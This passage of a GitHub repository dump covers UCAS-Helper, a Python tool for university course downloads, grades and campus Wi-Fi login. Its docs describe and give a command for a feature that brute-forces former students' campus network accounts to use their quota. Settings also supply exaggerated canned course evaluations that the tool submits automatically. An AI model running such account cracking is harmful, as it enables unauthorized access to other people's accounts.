未测试内容基本上沿用了之前的代码,按照常理不会出错,如果有问题,欢迎提出`issue` 39 | 40 | - [1.7.2] 修复了因课程主站使用http协议导致的错误 41 | > GKD的课程主站偶尔抽风,一会用https,一会用http,导致访问端口出现问题,现统一将用到的url放到`settings.py/URLS`中, 42 | 当主站修改应用协议时修改对应url的协议即可。例如`'base_url':'http://jwxk.ucas.ac.cn'`>`'base_url':'https://jwxk.ucas.ac.cn'`, 43 | 目前没时间完美适配这个问题(对代码重构较多)。 44 | - [1.7.1] 修改了主页的部分显示内容,添加版本信息,去除网站链接 45 | - [1.7.0] 添加了分数查询功能并修复了课程评估失败的问题 46 | - [1.6.0] 文件同步添加了进度条,方便查看文件同步信息,但请注意,若下载过程中未完成中断任务需将下载一半的文件删除,否则不会更新 47 | ![](../img/1.6.0.png) 48 | - [1.5.1] 修复下载全部课程资源时没有打开文件目录的选项问题,当无更新的时候自动退出应用 49 | 50 | - [1.5.0] 具体如下: 51 | 52 | - 课程资源同步后有新的资源时会提示是否开启资源所在目录,简便查看文件操作,如下: 53 | ![](../img/1.5.0-1.png) 54 | - 允许添加不希望被同步的课程内容:在同步所有的时候有一门课的资源并没什么卵用,但为了一门而去一个个同步其他的又略显麻烦,因此添加了一个`FILTER_LIST`,存放不想被同步的课程目录。打开`settings.py`,找到`FILTER_LIST`,将不想被同步的课程全名(如`没啥用课19-20春季`),添加到列表当中,如下: 55 | ![](../img/1.5.0-2.png) 56 | 57 | - 新版本在同步更新完成后会自动退出,不需要再手动退出程序 58 | 59 | - [1.4.3]修复了当同时存在多个文件夹和文件时不会下载与文件夹同目录的文件的问题,如下图所示: 60 | ![](../img/fix_1.4.3-1.png) 61 | 62 | - [1.4.2] 解决了当课程网站存在文件夹时无法获取到课程资源同步的问题,一开始并未考虑到老师创建文件夹 63 | 64 | - [1.4.1] 在课程资源选项中可以选择仅同步某个学期(春季,夏季,秋季)课程 -------------------------------------------------------------------------------- /docs/functions.md: -------------------------------------------------------------------------------- 1 | 功能介绍 2 | ================= 3 | 4 | * [课程资源同步](#课程资源同步) 5 | * [wifi登录与破解](#wifi登录与破解) 6 | * [课程评估](#课程评估) 7 | * [分数查询](#分数查询) 8 | 9 | # 课程资源同步 10 | 国科大的课程网站在高校中已经算是很便利的了,老师可以发布ppt或其他课程资源到网站上,学生可以登录课程网站下载需要的资源,但唯一让我感觉不爽的就是每个资源(如ppt),只能一个个单独下载,没有批量下载的选项。另一方面,每次网站发布了新的资源,我都要登录课程网站一个个点,真的心累。要是有个脚本可以直接将我本地的课程资源,与课程网站一键同步就好了。所以就写了一个可用自动同步所有课程资源到本地的项目。 11 | 12 | > 现在可以按照学期同步自己需要的资源,而不用将之前学期的一并同步 13 | 14 | # wifi登录与破解 15 | 提供了自动登录的功能,且允许添加多个账号,当一个账号流量使用完后,可用下一个账号自动登录,每月自动更新。出于隐私保护,项目不直接提供爆破的账号密码信息(以防被外来人员利用),在校学生可参考**5.部署使用**,破解新的账号。 16 | > 爆破需在校园网环境下,请确保你已正确连接校园网(建议有线)且未登录校园网。 17 | 爆破时间较长(慢的时候2-3个小时),因此建议晚上睡觉的时候开启, 18 | 早上的时候一般已经爆破完成1-2个账号。 19 | 20 | - 校园网对单个设备登录有限制,因此多进程的速度与单进程差别不大 21 | - 一个账号流量有25GB,因此一般破解1-2个账号加上自己的就够个人使用了 22 | - 对于破解的账号,请**不要修改密码**,方便自己也方便他人:) 23 | - 当然你也可以直接找要好的师兄师姐,借用他们的账号添加到accounts.json中, 24 | 省时省力QAQ 25 | - 破解的账号都是往年的已经离开雁栖湖回所的师兄师姐的! 26 | **请不要利用本项目对还在雁栖湖上课的同学的账号进行破解!!!** 27 | 28 | # 课程评估 29 | 新增了课程评估的功能,在主界面中选择4即可进行课程评估,评估的等级默认选择5,因为会用脚本评估的大多是怕麻烦的人,如果有个别老师或课程让你觉得十分不靠谱,根本无益,建议还是手动去修改下对应的评估,虽然不知道是否真的对教改有用,起码得让那课程老师心里有点数呀~ 30 | > 评估之前请进入`settings.py`修改一下主观评估的内容,别都和我评估一样了喂~ 31 | 32 | ![](../img/5-2.png) 33 | 34 | # 分数查询 35 | 分数查询功能重新上线!现在可以在程序主页选择功能5(query grades)来查询自己的所有成绩,显示效果如下: 36 | 37 | ![](../img/1.7.0.png) -------------------------------------------------------------------------------- /docs/usage.md: -------------------------------------------------------------------------------- 1 | 使用教程 2 | ================= 3 | 4 | * [使用前提](#使用前提) 5 | * [部署项目](#部署项目) 6 | * [自动部署](#自动部署) 7 | * [手动部署](#手动部署) 8 | * [修改配置](#修改配置) 9 | * [运行项目](#运行项目) 10 | * [更新项目](#更新项目) 11 | 12 | 13 | # 使用前提 14 | 项目采用python语言编写,需要你本地装有python3环境(建议python3.5+),如果采用`git`方式克隆,需先安装好`git` 15 | 16 | # 部署项目 17 | 提供两种部署使用方法:`自动化部署`(懒人推荐)和`手动部署`,前者在`windows`环境下要求安装`git`,采用`git`提供的终端(需要用到`shell`命令,`windows`cmd不支持)。 18 | > 注意:推荐采用`git clone`的方式部署项目到本地,这样在后续有更新的时候可以直接通过git命令更新项目 19 | 20 | ## 自动部署 21 | > 注意:如果选择采用虚拟环境,请确保`mkvirtualenv`命令可用。 22 | 23 | - 已安装`git`,在`git bash`终端执行 24 | ```text 25 | git clone --depth 1 https://github.com/GentleCP/UCAS-Helper.git && cd UCAS-Helper && pip install -r requirements.txt 26 | ``` 27 | > 如果使用`pip3`,自行替换`pip` 28 | 29 | ## 手动部署 30 | 1. 下载源代码压缩包或下载`realease`版本代码(推荐) 并解压 31 | 2. 进入项目目录安装依赖包 32 | ```text 33 | pip install -r requirements.txt # 强烈建议使用虚拟环境 34 | conda env create -f environment.yml # 如果采用conda环境 35 | ``` 36 | 37 | # 修改配置 38 | - 配置方式1:运行`python ucashelper config`(仅支持`linux,mac`平台,不支持`windows`)来启动配置引导程序,这会引导你设置用户信息和资源存储路径 39 | - 配置方式2:当你无法通过上述命令进行配置时,你也可以手动更改`conf/user_config.ini`,补充用户信息和资源存储路径信息 40 | 41 | - 登录wifi*(可选):如果你需要自动校园wifi登录(包括多个账户自动切换),需要配置`accounts.json` 42 | ```text 43 | { 44 | "useful_accounts": [ 45 | { 46 | "stuid":"xxx", 47 | "pwd":"xxx" 48 | }, 49 | { 50 | "stuid":"xxx", 51 | "pwd":"xxx" 52 | } 53 | 54 | ], 55 | "useless_accounts": [], 56 | "current_month": 12 57 | } 58 | ``` 59 | > 每个账号一个,允许存储多个账号,当遇到一个账号流量不够的时候自动切换到下一个账号登录 60 | 61 | 62 | # 运行项目 63 | 64 | 当确认配置信息修改完毕后,可以在终端或cmd下通过执行`python ucashelper.py ui`来启动小白操作窗口,同时也可以根据需要直接在命令行传入不同参数执行相应的操作,具体如下: 65 | 66 | ```text 67 | python ucashelper.py --help # 查看命令使用帮助,直接运行python ucashelper.py 效果等同 68 | python ucashelper.py ui # 小白操作窗口 69 | python ucashelper.py config # 引导配置,不支持windows 70 | 71 | python ucashelper.py down # 下载课程资源 72 | python ucashelper.py grade # 查看成绩 73 | python ucashelper.py hack # 破解wifi账号 74 | python ucashelper.py login # 登录校园网,确保在校园网环境下未登录情况执行 75 | python ucashelper.py logout # 登出校园网 76 | python ucashelper.py assess # 自动评教,评教内容在settings.py中设置 77 | ``` 78 | 79 | # 更新项目 80 | 在`UCAS-Helper`项目根目录下执行以下命令 81 | ``` 82 | git stash && git fetch --all && git merge && git stash pop 83 | ``` 84 | 85 | -------------------------------------------------------------------------------- /handler/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | -----------------File Info----------------------- 5 | Name: __init__.py.py 6 | Description: 7 | Author: GentleCP 8 | Email: 574881148@qq.com 9 | WebSite: https://www.gentlecp.com 10 | Create Date: 2021-01-07 11 | -----------------End----------------------------- 12 | """ -------------------------------------------------------------------------------- /handler/configer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | -----------------File Info----------------------- 5 | Name: configer.py 6 | Description: 初始配置器,引导配置 7 | Author: GentleCP 8 | Email: 574881148@qq.com 9 | WebSite: https://www.gentlecp.com 10 | Create Date: 2021-01-11 11 | -----------------End----------------------------- 12 | """ 13 | 14 | import npyscreen as nps 15 | 16 | 17 | from settings import USER_CONFIG_PATH 18 | from handler.exception import ExitStatus 19 | from util.functions import get_cfg 20 | 21 | WELCOME_DIALOG = ('Welcome to the UCAS Helper Config setting panel.\n\n' 22 | 'It will store your personal user information into local file:\'{}\'\n' 23 | 'Please select \'ok\' if you agree.'.format(USER_CONFIG_PATH)) 24 | 25 | 26 | class UCASHelperConfigMenu(nps.Form): 27 | EXTRA_KWARGS = [] 28 | 29 | def __init__(self, *args, **keywords): 30 | self.next_form = keywords.get('next_form') 31 | self.action_on_ok = keywords.get('action_on_ok') 32 | 33 | [setattr(self, key, keywords.get(key)) for key in self.__class__.EXTRA_KWARGS] 34 | 35 | super(nps.Form, self).__init__(*args, **keywords) 36 | if self.name is None: 37 | self.name = 'UCAS-Helper configuration settings' 38 | 39 | 40 | class UCASHelperConfigAF(nps.ActionFormV2, UCASHelperConfigMenu): 41 | OK_BUTTON_BR_OFFSET = (2, 14) 42 | CANCEL_BUTTON_BR_OFFSET = (2, 6) 43 | 44 | EXTRA_KWARGS = ['exit_on_cancel', 'action_on_ok'] 45 | 46 | def on_ok(self): 47 | if self.action_on_ok: 48 | self.action_on_ok() 49 | if self.next_form: 50 | self.parentApp.setNextForm(self.next_form) 51 | else: 52 | exit(ExitStatus.OK) 53 | 54 | def on_cancel(self): 55 | if self.exit_on_cancel: 56 | exit(ExitStatus.OK) 57 | else: 58 | self.parentApp.setNextFormPrevious() 59 | 60 | 61 | 62 | class UCASHelperConfigWarning(UCASHelperConfigAF): 63 | OK_BUTTON_TEXT = "OK" 64 | CANCEL_BUTTON_TEXT = "EXIT" 65 | 66 | EXTRA_KWARGS = UCASHelperConfigAF.EXTRA_KWARGS + ['text'] 67 | 68 | def create(self): 69 | self.add(nps.Pager, values=self.text.split('\n'), 70 | autowrap=True, editable=False) 71 | 72 | 73 | class UCASHelperConfigWarningPopup(nps.ActionPopup, UCASHelperConfigWarning): 74 | ''' Displays a warning as popup ''' 75 | pass 76 | 77 | 78 | class UCASHelperConfig(UCASHelperConfigAF): 79 | """ 80 | The basic class of Config, other configuration classes inherit from it 81 | """ 82 | OK_BUTTON_TEXT = "OK" 83 | CANCEL_BUTTON_TEXT = "BACK" 84 | 85 | EXTRA_KWARGS = UCASHelperConfigAF.EXTRA_KWARGS + ['user_config_path', 'cfg', 'section'] 86 | 87 | def create(self): 88 | pass 89 | 90 | 91 | def on_ok(self): 92 | if not self.input_texts: 93 | self.input_texts = {} 94 | if not self.cfg.has_section(self.section): 95 | self.cfg.add_section(self.section) 96 | 97 | if self.input_texts.keys(): 98 | for key, value in self.input_texts.items(): 99 | if value: 100 | self.cfg.set(self.section, key, value) 101 | self.cfg.write(open(self.user_config_path, 'w')) 102 | super().on_ok() 103 | 104 | 105 | 106 | class UCASHelperUserInfoConfig(UCASHelperConfig): 107 | """ 108 | User Info config,Required 109 | """ 110 | TIPs = '【Required】Enter your user info which is used to login sep website.' 111 | 112 | def create(self): 113 | super().create() 114 | self.add(nps.TitleText, name=self.__class__.TIPs, autowrap=True, editable=False) 115 | self.username = self.add(nps.TitleText, name='username') 116 | self.password = self.add(nps.TitlePassword, name='password') 117 | 118 | def on_ok(self): 119 | self.input_texts = { 120 | 'username': self.username.value, 121 | 'password': self.password.value 122 | 123 | } 124 | super().on_ok() 125 | 126 | 127 | class UCASHelperDownloadConfig(UCASHelperConfig): 128 | """ 129 | Download Resources Config, Optional 130 | """ 131 | 132 | TIPs = ('【Optional】Enter the path where you want to store the course resources.(e.g. `D:/UCAS-resources`)\n') 133 | 134 | def create(self): 135 | super().create() 136 | self.add(nps.TitleText, name=self.__class__.TIPs, autowrap=True, editable=False) 137 | self.resource_path = self.add(nps.TitleText, name='resource path') 138 | 139 | 140 | def on_ok(self): 141 | self.input_texts = { 142 | 'resource_path': self.resource_path.value 143 | } 144 | super().on_ok() 145 | 146 | 147 | class UCASHelperConfigApp(nps.NPSAppManaged): 148 | 149 | STARTING_FORM = 'WelcomeDialog' 150 | 151 | 152 | def onStart(self): 153 | user_cfg = get_cfg(config_path=USER_CONFIG_PATH) 154 | self.addForm('WelcomeDialog', UCASHelperConfigWarningPopup, 155 | text=WELCOME_DIALOG, exit_on_cancel=True, 156 | next_form='UserInfoConfig', 157 | ) 158 | self.addForm('UserInfoConfig', UCASHelperUserInfoConfig, 159 | user_config_path=USER_CONFIG_PATH, 160 | cfg=user_cfg, 161 | section='user_info', 162 | next_form='DownloadConfig', 163 | exit_on_cancel=False 164 | ) 165 | self.addForm('DownloadConfig', UCASHelperDownloadConfig, 166 | user_config_path=USER_CONFIG_PATH, 167 | cfg=user_cfg, 168 | section='course_info', 169 | exit_on_cancel=False) 170 | 171 | 172 | if __name__ == '__main__': 173 | UCASHelperConfigApp().run() -------------------------------------------------------------------------------- /handler/exception.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """ 3 | -----------------Init----------------------- 4 | Name: exception.py 5 | Description: 6 | Author: GentleCP 7 | Email: 574881148@qq.com 8 | WebSite: https://www.gentlecp.com 9 | Date: 2020-08-31 10 | -------------Change Logs-------------------- 11 | 12 | 13 | -------------------------------------------- 14 | """ 15 | from enum import IntEnum 16 | 17 | class ExitStatus(IntEnum): 18 | 19 | OK = 200 20 | CONFIG_ERROR = 401 21 | NETWORK_ERROR = 404 22 | UNKNOW_ERROR = 500 23 | 24 | class ConfigReadError(Exception): 25 | pass 26 | 27 | 28 | class BackToMain(Exception): 29 | pass 30 | 31 | class WifiError(Exception): 32 | pass 33 | 34 | class HttpError(Exception): 35 | pass 36 | -------------------------------------------------------------------------------- /handler/logger.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | -----------------File Info----------------------- 5 | Name: logger.py 6 | Description: 日志处理 7 | Author: GentleCP 8 | Email: 574881148@qq.com 9 | WebSite: https://www.gentlecp.com 10 | Create Date: 2021-01-07 11 | -----------------End----------------------------- 12 | """ 13 | 14 | import os 15 | import logging 16 | import platform 17 | from pathlib import Path 18 | 19 | from logging.handlers import TimedRotatingFileHandler 20 | 21 | # 日志级别 22 | CRITICAL = 50 23 | FATAL = CRITICAL 24 | ERROR = 40 25 | WARNING = 30 26 | WARN = WARNING 27 | INFO = 20 28 | DEBUG = 10 29 | NOTSET = 0 30 | 31 | path = Path() 32 | 33 | CURRENT_PATH = path.resolve(__file__) 34 | ROOT_PATH = CURRENT_PATH.parent 35 | LOG_PATH = CURRENT_PATH.joinpath('log') 36 | 37 | if not os.path.exists(LOG_PATH): 38 | try: 39 | os.mkdir(LOG_PATH) 40 | except FileExistsError: 41 | pass 42 | 43 | class LogLevelSetError(Exception): 44 | pass 45 | 46 | 47 | class LogHandler(logging.Logger): 48 | """ 49 | LogHandler 50 | """ 51 | 52 | def __init__(self, name, level=INFO, stream=True, file=True): 53 | self._name = name 54 | self._level = level 55 | logging.Logger.__init__(self, self._name, level=level) 56 | if stream: 57 | self.__setStreamHandler__() 58 | if file: 59 | if platform.system() != "Windows": 60 | self.__setFileHandler__() 61 | 62 | 63 | @property 64 | def name(self): 65 | return self._name 66 | 67 | 68 | @name.setter 69 | def name(self, name): 70 | self._name = name 71 | 72 | 73 | @property 74 | def level(self): 75 | return self._level 76 | 77 | @level.setter 78 | def level(self, level): 79 | if level in [DEBUG, INFO, WARNING, CRITICAL, ERROR]: 80 | self._level = level 81 | else: 82 | raise LogLevelSetError("Can not set the log level as:{}".format(level)) 83 | 84 | 85 | def __setFileHandler__(self, level=None): 86 | """ 87 | set file handler 88 | :param level: 89 | :return: 90 | """ 91 | file_name = os.path.join(LOG_PATH, '{name}.log'.format(name=self._name)) 92 | # 设置日志回滚, 保存在log目录, 一天保存一个文件, 保留15天 93 | file_handler = TimedRotatingFileHandler(filename=file_name, when='D', interval=1, backupCount=15) 94 | file_handler.suffix = '%Y%m%d.log' 95 | if not level: 96 | file_handler.setLevel(self._level) 97 | else: 98 | file_handler.setLevel(level) 99 | formatter = logging.Formatter('%(asctime)s %(filename)s-[line:%(lineno)d] 【%(levelname)s】 %(message)s') 100 | 101 | file_handler.setFormatter(formatter) 102 | self.file_handler = file_handler 103 | self.addHandler(file_handler) 104 | 105 | def __setStreamHandler__(self, level=None): 106 | """ 107 | set stream handler 108 | :param level: 109 | :return: 110 | """ 111 | stream_handler = logging.StreamHandler() 112 | formatter = logging.Formatter('%(asctime)s %(filename)s-[line:%(lineno)d] 【%(levelname)s】 %(message)s') 113 | stream_handler.setFormatter(formatter) 114 | if not level: 115 | stream_handler.setLevel(self._level) 116 | else: 117 | stream_handler.setLevel(level) 118 | self.addHandler(stream_handler) 119 | 120 | 121 | if __name__ == '__main__': 122 | log = LogHandler('test') 123 | log.info('this is a test msg') -------------------------------------------------------------------------------- /handler/new_ui.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | -----------------File Info----------------------- 5 | Name: new_ui.py 6 | Description: 全新的交互界面,提供另一种使用体验 7 | Author: GentleCP 8 | Email: 574881148@qq.com 9 | WebSite: https://www.gentlecp.com 10 | Create Date: 2021-01-11 11 | -----------------End----------------------------- 12 | """ 13 | 14 | -------------------------------------------------------------------------------- /handler/ui.py: -------------------------------------------------------------------------------- 1 | # @Author : GentleCP 2 | # @Email : 574881148@qq.com 3 | # @File : ui.py 4 | # @Item : PyCharm 5 | # @Time : 2019/11/28/028 14:00 6 | # @WebSite : https://www.gentlecp.com 7 | 8 | import time 9 | import requests 10 | import os 11 | import configparser 12 | import json 13 | 14 | from core.assess import Assesser 15 | from core.grade import GradeObserver 16 | from core.download import Downloader 17 | from handler.exception import BackToMain, ExitStatus 18 | from core.wifi import WifiLoginer,WifiError 19 | from handler.logger import LogHandler 20 | from util.functions import get_cfg 21 | 22 | 23 | import settings 24 | 25 | 26 | WELCOME_MESSAGE = """ 27 | ********************************************************************************* 28 | ** # # ### # ### # # ### # ### ### #### ** 29 | ** # # # # # # # # # # # # # # # ** 30 | ** # # # # # #### #### ### # ### ### #### ** 31 | ** # # # ####### # # # # # # # # # ** 32 | ** ### ### ## ## ### # # ### ##### # ### # # ** 33 | ** copyright@GentleCP ** 34 | ** version:{tag} ** 35 | ** github: https://github.com/GentleCP/UCASHelper ** 36 | ** 1:course sources download ** 37 | ** 2:wifi login ** 38 | ** 3:wifi logout ** 39 | ** 4:course assess ** 40 | ** 5:query grades ** 41 | ** q:exit ** 42 | ********************************************************************************* 43 | """ 44 | 45 | 46 | class Init(object): 47 | """ 48 | 用于检查一切配置信息是否合理正确 49 | """ 50 | 51 | def __init__(self, 52 | welcome_msg, 53 | record_path='../conf/record.ini', 54 | *args,**kwargs): 55 | self._logger = LogHandler("Init") 56 | self._welcome_msg = welcome_msg 57 | 58 | self._record_path = record_path 59 | self._cfg = get_cfg(config_path=self._record_path) 60 | 61 | self._name_of_update_section = 'update_info' 62 | self._name_of_update_time = 'last_update_time' # 记录上次更新的时间 63 | self._name_of_tag = 'tag' # 当前版本号 64 | 65 | # update api info 66 | self.__update_info_api = "https://api.github.com/repos/GentleCP/UCAS-Helper" 67 | self.__latest_tag_api = "https://api.github.com/repos/GentleCP/UCAS-Helper/tags" 68 | 69 | self._wifiLoginer = WifiLoginer(accounts_path=settings.ACCOUNTS_PATH) 70 | self._downloader = Downloader( 71 | urls=settings.URLS, 72 | user_config_path=settings.USER_CONFIG_PATH, 73 | filter_list=settings.FILTER_LIST) 74 | 75 | self._assesser = Assesser( 76 | user_config_path=settings.USER_CONFIG_PATH, 77 | urls=settings.URLS, 78 | assess_msgs=settings.ASSESS_MSG) 79 | self._gradeObserver = GradeObserver( 80 | user_config_path=settings.USER_CONFIG_PATH, 81 | urls=settings.URLS) 82 | 83 | def __get_tag(self): 84 | ''' 85 | 从配置文件或在线获取当前版本号 86 | :return: tag, e.g. v2.3.1 87 | ''' 88 | if not self._cfg.has_section(self._name_of_update_section): 89 | self._cfg.add_section(self._name_of_update_section) 90 | try: 91 | local_tag = self._cfg.get(self._name_of_update_section, self._name_of_tag) 92 | except configparser.NoOptionError: 93 | self._logger.info('getting latest tag') 94 | return json.loads(requests.get(self.__latest_tag_api).text)[0].get('name') 95 | else: 96 | if not local_tag: 97 | self._logger.info('getting latest tag') 98 | return json.loads(requests.get(self.__latest_tag_api).text)[0].get('name') 99 | else: 100 | return local_tag 101 | 102 | 103 | 104 | def _show_welcome(self): 105 | ''' 106 | :return: 107 | ''' 108 | tag = self.__get_tag() 109 | print(self._welcome_msg.format(tag=tag)) 110 | 111 | 112 | def __check_update(self): 113 | ''' 114 | check the latest code from github repo api, if detect the new version, update the demo 115 | :return: {}, if need update, return True and latest_update_time, else return False 116 | ''' 117 | self._logger.info("Checking update...") 118 | 119 | try: 120 | latest_update_time = requests.get(self.__update_info_api).json()["updated_at"] 121 | latest_tag = json.loads(requests.get(self.__latest_tag_api).text)[0].get('name') 122 | except Exception: 123 | self._logger.error("checking update faild.") 124 | return { 125 | 'need_update':False 126 | } 127 | try: 128 | last_update_time = self._cfg.get(self._name_of_update_section, self._name_of_update_time) 129 | except (configparser.NoSectionError, configparser.NoOptionError) as e: 130 | self._logger.info("Available updates detected, start updating...") 131 | return { 132 | 'need_update':True, 133 | 'latest_update_time':latest_update_time, 134 | 'latest_tag': latest_tag 135 | } 136 | else: 137 | if latest_update_time == last_update_time: 138 | # already up to date 139 | self._logger.info("Already up to date.") 140 | return { 141 | 'need_update':False 142 | } 143 | else: 144 | self._logger.info("Available updates detected, start updating...") 145 | return { 146 | 'need_update': True, 147 | 'latest_update_time':latest_update_time, 148 | 'latest_tag': latest_tag 149 | } 150 | 151 | 152 | def _do_update(self): 153 | if not settings.ALLOW_AUTO_UPDATE: 154 | # not allow update 155 | return 156 | check_update_res = self.__check_update() 157 | if check_update_res['need_update']: 158 | # need to update 159 | try: 160 | os.system("git stash && git fetch --all && git merge && git stash pop") 161 | except KeyboardInterrupt: 162 | # update interrupt, nothing to do. 163 | self._logger.error("Update Interrupt by user.") 164 | else: 165 | # update complete, update the local update time. 166 | if not self._cfg.has_section(self._name_of_update_section): 167 | self._cfg.add_section(self._name_of_update_section) 168 | 169 | # update latest_update_time 170 | self._cfg.set(self._name_of_update_section, 171 | self._name_of_update_time, 172 | check_update_res['latest_update_time']) 173 | # update latest_tag 174 | self._cfg.set(self._name_of_update_section, 175 | self._name_of_tag, 176 | check_update_res['latest_tag']) 177 | self._cfg.write(open(self._record_path, 'w')) 178 | self._logger.info("Update compelte.") 179 | 180 | 181 | def _cmd(self): 182 | while True: 183 | time.sleep(0.1) 184 | option = input("输入你的操作:") 185 | if option == 'q': 186 | print("欢迎使用,下次再会~") 187 | exit(ExitStatus.OK) 188 | 189 | elif not (option.isdigit() and 1<=int(option)<=5) : 190 | self._logger.error("非法操作,请重新输入") 191 | else: 192 | option = int(option) 193 | if option == 1: 194 | try: 195 | self._downloader.run() 196 | except BackToMain: 197 | pass 198 | 199 | elif option == 2: 200 | try: 201 | self._wifiLoginer.login() 202 | except WifiError: 203 | pass 204 | 205 | elif option == 3: 206 | try: 207 | self._wifiLoginer.logout() 208 | except WifiError: 209 | pass 210 | 211 | elif option == 4: 212 | self._assesser.run() 213 | 214 | elif option == 5: 215 | self._gradeObserver.run() 216 | 217 | 218 | def run(self): 219 | self._show_welcome() 220 | self._do_update() 221 | self._cmd() 222 | 223 | 224 | def main(*args, **kwargs): 225 | init = Init(welcome_msg=WELCOME_MESSAGE, *args, **kwargs) 226 | init.run() 227 | 228 | 229 | if __name__ == "__main__": 230 | main() 231 | -------------------------------------------------------------------------------- /img/1-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/GentleCP/UCAS-Helper/4de4387eede1230a9e6f738fbc073d48232b188e/img/1-1.png -------------------------------------------------------------------------------- /img/1-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/GentleCP/UCAS-Helper/4de4387eede1230a9e6f738fbc073d48232b188e/img/1-2.png -------------------------------------------------------------------------------- /img/1-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/GentleCP/UCAS-Helper/4de4387eede1230a9e6f738fbc073d48232b188e/img/1-3.png -------------------------------------------------------------------------------- /img/1-4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/GentleCP/UCAS-Helper/4de4387eede1230a9e6f738fbc073d48232b188e/img/1-4.png -------------------------------------------------------------------------------- /img/1.5.0-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/GentleCP/UCAS-Helper/4de4387eede1230a9e6f738fbc073d48232b188e/img/1.5.0-1.png -------------------------------------------------------------------------------- /img/1.5.0-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/GentleCP/UCAS-Helper/4de4387eede1230a9e6f738fbc073d48232b188e/img/1.5.0-2.png -------------------------------------------------------------------------------- /img/1.6.0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/GentleCP/UCAS-Helper/4de4387eede1230a9e6f738fbc073d48232b188e/img/1.6.0.png -------------------------------------------------------------------------------- /img/1.7.0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/GentleCP/UCAS-Helper/4de4387eede1230a9e6f738fbc073d48232b188e/img/1.7.0.png -------------------------------------------------------------------------------- /img/2-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/GentleCP/UCAS-Helper/4de4387eede1230a9e6f738fbc073d48232b188e/img/2-1.png -------------------------------------------------------------------------------- /img/3-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/GentleCP/UCAS-Helper/4de4387eede1230a9e6f738fbc073d48232b188e/img/3-1.png -------------------------------------------------------------------------------- /img/4-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/GentleCP/UCAS-Helper/4de4387eede1230a9e6f738fbc073d48232b188e/img/4-1.png -------------------------------------------------------------------------------- /img/5-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/GentleCP/UCAS-Helper/4de4387eede1230a9e6f738fbc073d48232b188e/img/5-1.png -------------------------------------------------------------------------------- /img/5-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/GentleCP/UCAS-Helper/4de4387eede1230a9e6f738fbc073d48232b188e/img/5-2.png -------------------------------------------------------------------------------- /img/fix_1.4.3-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/GentleCP/UCAS-Helper/4de4387eede1230a9e6f738fbc073d48232b188e/img/fix_1.4.3-1.png -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | beautifulsoup4>=4.10.0 2 | click>=8.0.3 3 | npyscreen>=4.10.5 4 | Pillow>=8.4.0 5 | prettytable>=2.4.0 6 | requests>=2.26.0 7 | tqdm>=4.62.3 8 | ddddocr>=1.0.6 9 | pycryptodome 10 | lxml>=4.8.0 -------------------------------------------------------------------------------- /settings.py: -------------------------------------------------------------------------------- 1 | # @Author : GentleCP 2 | # @Email : me@gentlecp.com 3 | # @File : settings.py 4 | # @Item : PyCharm 5 | # @Time : 2019-11-18 15:48 6 | # @WebSite : https://blog.gentlecp.com 7 | 8 | 9 | 10 | # Note:用户信息与课程资源存储目录配置已转移到conf/user_config.ini中,请将配置信息填写在那里 11 | 12 | 13 | #------------------------由用户决定的配置信息----------------------------------- 14 | ALLOW_AUTO_UPDATE = False # 自动更新存在问题,请勿使用 15 | 16 | # 根据你个人喜好修改评估的内容 17 | ASSESS_MSG = [ 18 | '这门课讲的真是太好了,我简直没有其他言语可以形容它!!!!', # 这门课我最喜欢什么 19 | '我认为这门课做的很好了,课程内容一级棒!!!!!!', # 我认为本课程应从哪些方面需要进一步改进和提高? 20 | '我平均每周都认认真真准备这门课的内容,每天超过4小时!!!', # 我平均每周在这门课程上花费多少小时? 21 | '我对这个学科领域兴趣甚厚,有如滔滔江水,连绵不绝!!!!', # 在参与这门课之前,我对这个学科领域兴趣如何 22 | '我每周都认认真真上课,生怕错过任何一堂课,在课堂上积极发言,踊跃举手,是全班的表率!!!!', # 我对该课程的课堂参与度(包括出勤、回答问题等) 23 | '我觉得这个老师讲课十分有趣,课堂氛围十分活跃,是我喜欢的地方!', # 这位老师的教学,你最喜欢什么? 24 | '老师简直完美,我对老师的敬仰犹如滔滔江水,连绵不绝!!!!' # 您对老师有哪些意见和建议? 25 | ] 26 | 27 | 28 | # 不希望同步的课程内容,多个之间逗号隔开,务必输入课程全称! 29 | FILTER_LIST = [ 30 | '没啥卵用课-1 19-20春季', 31 | '有点卵用课-2 19-20春季', 32 | ] 33 | #------------------------由用户决定的配置信息----------------------------------- 34 | 35 | 36 | 37 | # ------------------后面的不要随意更改-------------- 38 | 39 | 40 | 41 | # PATH info 42 | USER_CONFIG_PATH = 'conf/user_config.ini' 43 | RECORD_PATH = 'conf/record.ini' # 保存一些程序运行完毕后需要持久化存储到本地的信息 44 | ACCOUNTS_PATH = 'accounts.json' 45 | 46 | # USLs that used for request 47 | URLS = { 48 | 'home_url':{ 49 | 'http':'http://onestop.ucas.ac.cn/', 50 | 'https':'https://onestop.ucas.ac.cn/' 51 | }, 52 | 'bak_home_url':{ 53 | 'http': 'http://sep.ucas.ac.cn/', 54 | 'https': 'https://sep.ucas.ac.cn/' 55 | }, 56 | 'base_url':{ 57 | 'http':'http://jwxk.ucas.ac.cn', 58 | 'https':'https://jwxk.ucas.ac.cn', 59 | }, 60 | 'login_url': { 61 | 